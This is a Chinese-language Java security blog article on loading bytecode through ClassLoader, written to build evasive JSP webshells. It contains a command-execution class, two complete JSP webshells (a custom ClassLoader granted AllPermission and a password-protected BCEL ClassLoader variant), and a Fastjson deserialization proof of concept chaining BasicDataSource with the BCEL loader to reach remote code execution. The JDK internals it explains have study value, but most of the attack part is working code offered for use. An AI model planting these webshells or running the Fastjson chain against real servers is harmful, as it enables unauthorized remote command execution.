浅谈加载字节码相关的Java安全问题(一)

简介: 浅谈加载字节码相关的Java安全问题

简介

本文较水,主要是炒冷饭,巩固和复习一些基础的Java安全知识

近期在学习JSP免杀相关的知识,遇到了很多加载字节码的情况,所以写一篇文章总结下

加载字节码是Java安全中重要的部分,实现这个功能离不开ClassLoader

本文前半部分将从各个角度对各个ClassLoader的利用方式做解析,并深入分析其原理

后半部分讨论一些Java安全方面的技巧


笔者目前本科在读,才疏学浅,错误和不足之处还请大佬指出,十分感谢!


自定义类加载器

这里采用自定义类加载器的JSP Webshell来讨论

首先编写一个用于加载的恶意类

public class ByteCodeEvil {
   String res;
   public ByteCodeEvil(String cmd) throws IOException {
       // 简单回显 Webshell
       StringBuilder stringBuilder = new StringBuilder();
       BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
       String line;
       while((line = bufferedReader.readLine()) != null) {
           stringBuilder.append(line).append("\n");
      }
       res = stringBuilder.toString();
  }
   @Override
   public String toString() {
       // 回显
       return res;
  }
}


将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能

String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();


实际上自定义ClassLoader这个过程并不简单

注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法

其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法

如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载

重写loadClass方法的代码如下,当我们加载的是指定名称的类时,就调用重写后的findClass方法

@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
   if (name.contains("ByteCodeEvil")) {
       return findClass(name);
  }
   return super.loadClass(name);
}


还有一个重点方法defineClass,它可以从byte[]还原出一个Class对象。在findClass中,如果调用defineClass加载指定的恶意字节码,就会达到运行时加载字节码的效果

因此尝试写出如下的findClass代码

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
   try {
       byte[] bytes = Base64.getDecoder().decode("BASE64_ENCODE_BYTECODE");
       return this.defineClass(name, bytes, 0, bytes.length);
  } catch (Exception e) {
       e.printStackTrace();
  }
   return super.findClass(name);
}


其实上方的代码是正常执行的,但并不完善,应该调用defineClass的另一个重载

在Java的类加载中,有著名的双亲委派机制

首先会检查该类是否已经被加载,若没有被加载,则会委托父加载器进行装载,只有当父加载器无法加载时,才会调用自身的findClass()方法进行加载。这样避免了子加载器加载一些试图冒名顶替可信任类的不可靠类,也不会让子加载器去实现父加载器实现的加载工作

例如用户使用自定义加载器加载java.lang.Object类,实际上委派给BootstrapClassLoader加载器。如果用户使用自定义类加载器加载java.lang.Exp类,父类无法加载只能交给自定义类加载器。由于同在java.lang包下,所以Exp类可以访问其他类的protected属性,可能涉及到一些敏感信息

因此必须将这个类与可信任类的访问域隔离,JVM中为了避免这样的危险操作,只允许由同一个类加载器加载的同一包内的类之间互相访问,这样一个由同一个类加载器加载的并属于同一个包的多个类集合称为运行时包

类加载体系为不同类加载器加载的类提供不同的命名空间,同一命名空间内的类可以互相访问,不同命名空间的类不知道彼此的存在

除了命名空间的访问隔离和双亲委派的受信类保护,类加载器体系还用保护域来定义代码在运行时可以获得的权限

这里需要我们关注的点是CodeSource,它是解释如下

每个class文件均和一个代码来源相关联,这个代码来源(java.security.CodeSource)通过URL类成员location指向代码库和对该class文件进行签名的零个或多个证书对象的数组。class文件在进行代码认证的过程中可能经过多个证书签名,也可能没有进行签名

访问控制策略Policy对权限的授予是以CodeSource为基础进行的,每个CodeSource拥有若干个Permission,这些Permission对象会被具体地以其子类描述,并且和CodeSource相关联的Permission对象将被封装在java.security.PermissionCollection类的一个子类实例中,以描述该CodeSource所获取的权限

类加载器的实现可以通过将代码来源(CodeSource)即代码库和该class文件的所有签名者信息,传递给当前的Policy对象的getPermissions()方法,来查询该代码来源所拥有的权限集合PermissionCollection(在策略初始化时生成),并以此构造一个保护域传递给defineClass()以此指定类的保护域

以上复杂的理论表现在代码中如下(其中有一个细节在后续分析)

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
   try {
       byte[] bytes = Base64.getDecoder().decode("BASE64_ENCODE_BYTECODE");
       PermissionCollection pc = new Permissions();
       pc.add(new AllPermission());
       ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
       return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
  } catch (Exception e) {
       e.printStackTrace();
  }
   return super.findClass(name);
}


实际上在JDK的ClassLoader源码中,有这样的处理

protected final Class<?> defineClass(String name, byte[] b, int off, int len,
                                    ProtectionDomain protectionDomain)
   throws ClassFormatError
{
   // 跟入
   protectionDomain = preDefineClass(name, protectionDomain);
  ...
}


当传入的ProtectionDomain为空时,会在预处理中定义为默认

private ProtectionDomain preDefineClass(String name,
                                       ProtectionDomain pd)
{
  ...
   if (pd == null) {
       pd = defaultDomain;
  }
  ...
   return pd;
}


回到上文提到的细节,发现这里默认的情况和上文缺少了一个PermissionCollection

// JSP Webshell中编写的代码
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
// JDK的默认ProtectionDomain
private final ProtectionDomain defaultDomain =
   new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
                        null, this, null);


为什么在JSP Webshell中指定了AllPermission

定义:The AllPermission is a permission that implies all other permissions

在JDK源码文档中有这样一句话:application or applet is completely trusted

这意味着改代码拥有全部的权限,也就是最高权限

拥有SocketPermission和FilePermission这种敏感操作的权限

也就完全发挥了JSP Webshell的功能,所以在JSP中指定ProtectionDomain是必要且有意义的


最终的自定义类加载器JSP Webshell如下

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%
   ClassLoader loader = new ClassLoader() {
       @Override
       public Class<?> loadClass(String name) throws ClassNotFoundException {
           if(name.contains("ByteCodeEvil")){
               return findClass(name);
          }
           return super.loadClass(name);
      }
       @Override
       protected Class<?> findClass(String name) throws ClassNotFoundException {
           try {
               byte[] bytes = Base64.getDecoder().decode("");
               PermissionCollection pc = new Permissions();
               pc.add(new AllPermission());
               ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
               return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
          } catch (Exception e) {
               e.printStackTrace();
          }
           return super.findClass(name);
      }
  };
   String cmd = request.getParameter("cmd");
   Class<?> clazz = loader.loadClass("ByteCodeEvil");
   Constructor<?> constructor = clazz.getConstructor(String.class);
   String result = constructor.newInstance(cmd).toString();
   response.getWriter().print(result);
%>

BCEL ClassLoader

在较高版本的JDK8中BCELClassLoader被删除所以需要在较低版本的JDK中测试

参考P神的文章:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html


该类加载的作用是给出一段特殊字符串,直接加载为类对象

简单查看loadClass方法的代码,可以看到加载了以"$$BCEL$$"开头的字符串

protected Class loadClass(String class_name, boolean resolve)
   throws ClassNotFoundException
{
   Class cl = null;
  ...
   if(class_name.indexOf("$$BCEL$$") >= 0)
       clazz = createClass(class_name);
  ...
   if (clazz != null) {
       byte[] bytes  = clazz.getBytes();
       cl = defineClass(class_name, bytes, 0, bytes.length);
  }
  ...
   return cl;
}


BCEL比较知名的是Fastjson的BasicDataSource利用

查看源码可以发现包含driveClassLoader和driverClassName的get/set方法,具备了Fastjson的触发条件

给出一个较高版本Fastjson的POC,果然和推测差不多,主要是基于上面上个属性

{
   "name":
  {
       "@type" : "java.lang.Class",
       "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
  },
   "x" : {
       "name": {
           "@type" : "java.lang.Class",
           "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
      },
       "y": {
           "@type":"com.alibaba.fastjson.JSONObject",
           "c": {
               "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
               "driverClassLoader": {
                   "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
              },
               "driverClassName":"$$BCEL$$$......",
                    "$ref": "$.x.y.c.connection"
          }
      }
  }
}

两个name对象被缓存后缓存,可以让BasicDataSource和BCEL ClassLoader绕过黑名单

最下面的$ref是高版本Fastjson的一个特性,可以链式调用,最终调用到BasicDataSource.connection

其实BasicDataSource类并没有connection属性,但这样的调用会触发get/set Connnection方法


跟入BasicDataSource的getConnnection

@Override
public Connection getConnection() throws SQLException {
  ...
   return createDataSource().getConnection();
}
// 继续跟入
protected DataSource createDataSource() {
  ...
   final ConnectionFactory driverConnectionFactory = createConnectionFactory();
  ...
}
// 继续跟入
protected ConnectionFactory createConnectionFactory() throws SQLException {
  ...
   if (driverClassLoader == null) {
       driverFromCCL = Class.forName(driverClassName);
  } else {
       // 进入这里
       driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
  }
   // 这里对象被实例化造成RCE
   driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();
}


注意到这里的触发点是Class.forName并不是loadClass等方法

其实Class.forName第二个参数initial为true时,类加载后将会直接执行static{}块中的代码

回到该Fastjson POC本身driveClassName的BCEL字节码对应的Java代码正好符合static条件

public class Exp{
   static {
       try{
           Runtime.getRuntime().exec("calc.exe");
      } catch (Exception e) {
      }
  }
}


类似地,我们可以把BCEL ClassLoader的概念引入JSP Webshell中

<%@ page language="java" pageEncoding="UTF-8" %>
<%! String PASSWORD = "4ra1n"; %>
<%
   String cmd = request.getParameter("cmd");
   String pwd = request.getParameter("pwd");
   if (!pwd.equals(PASSWORD)) {
       return;
  }
   // 0x01中ByteCodeEvil生成的字节码
   String bcelCode = "$$BCEL$$......";
   // new ClassLoader().loadClass(bcelCode).newInstance(cmd);
   Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
   ClassLoader loader = (ClassLoader) c.newInstance();
   Class<?> clazz = loader.loadClass(bcelCode);
   java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
   Object obj = constructor.newInstance(cmd);
   // 回显
   response.getWriter().print("<pre>");
   response.getWriter().print(obj.toString());
   response.getWriter().print("</pre>");
%>


相关文章
|
9天前
|
Java
轻松上手Java字节码编辑:IDEA插件VisualClassBytes全方位解析
本插件VisualClassBytes可修改class字节码,包括class信息、字段信息、内部类,常量池和方法等。
58 6
|
11天前
|
Java Maven Spring
Java Web 应用中,资源文件的位置和加载方式
在Java Web应用中,资源文件如配置文件、静态文件等通常放置在特定目录下,如WEB-INF或classes。通过类加载器或Servlet上下文路径可实现资源的加载与访问。正确管理资源位置与加载方式对应用的稳定性和可维护性至关重要。
|
11天前
|
SQL 安全 Java
安全问题已经成为软件开发中不可忽视的重要议题。对于使用Java语言开发的应用程序来说,安全性更是至关重要
在当今网络环境下,Java应用的安全性至关重要。本文深入探讨了Java安全编程的最佳实践,包括代码审查、输入验证、输出编码、访问控制和加密技术等,帮助开发者构建安全可靠的应用。通过掌握相关技术和工具,开发者可以有效防范安全威胁,确保应用的安全性。
24 4
|
22天前
|
Java 数据格式 索引
使用 Java 字节码工具检查类文件完整性的原理是什么
Java字节码工具通过解析和分析类文件的字节码,检查其结构和内容是否符合Java虚拟机规范,确保类文件的完整性和合法性,防止恶意代码或损坏的类文件影响程序运行。
|
22天前
|
Java API Maven
如何使用 Java 字节码工具检查类文件的完整性
本文介绍如何利用Java字节码工具来检测类文件的完整性和有效性,确保类文件未被篡改或损坏,适用于开发和维护阶段的代码质量控制。
|
1月前
|
Java
如何从Java字节码角度分析问题|8月更文挑战
如何从Java字节码角度分析问题|8月更文挑战
|
1月前
|
安全 Java 编译器
Java 泛型深入解析:类型安全与灵活性的平衡
Java 泛型通过参数化类型实现了代码重用和类型安全,提升了代码的可读性和灵活性。本文深入探讨了泛型的基本原理、常见用法及局限性,包括泛型类、方法和接口的使用,以及上界和下界通配符等高级特性。通过理解和运用这些技巧,开发者可以编写更健壮和通用的代码。
|
2月前
|
安全 Java API
java安全特性
java安全特性
28 8
|
2月前
|
安全 Oracle Java
edge浏览器加载java插件
edge浏览器加载java插件
|
2月前
|
Java API 开发者
【Java字节码的掌控者】JDK 22类文件API:解锁Java深层次的奥秘,赋能开发者无限可能!
【9月更文挑战第8天】JDK 22类文件API的引入,为Java开发者们打开了一扇通往Java字节码操控新世界的大门。通过这个API,我们可以更加深入地理解Java程序的底层行为,实现更加高效、可靠和创新的Java应用。虽然目前它还处于预览版阶段,但我们已经可以预见其在未来Java开发中的重要地位。让我们共同期待Java字节码操控新篇章的到来,并积极探索类文件API带来的无限可能!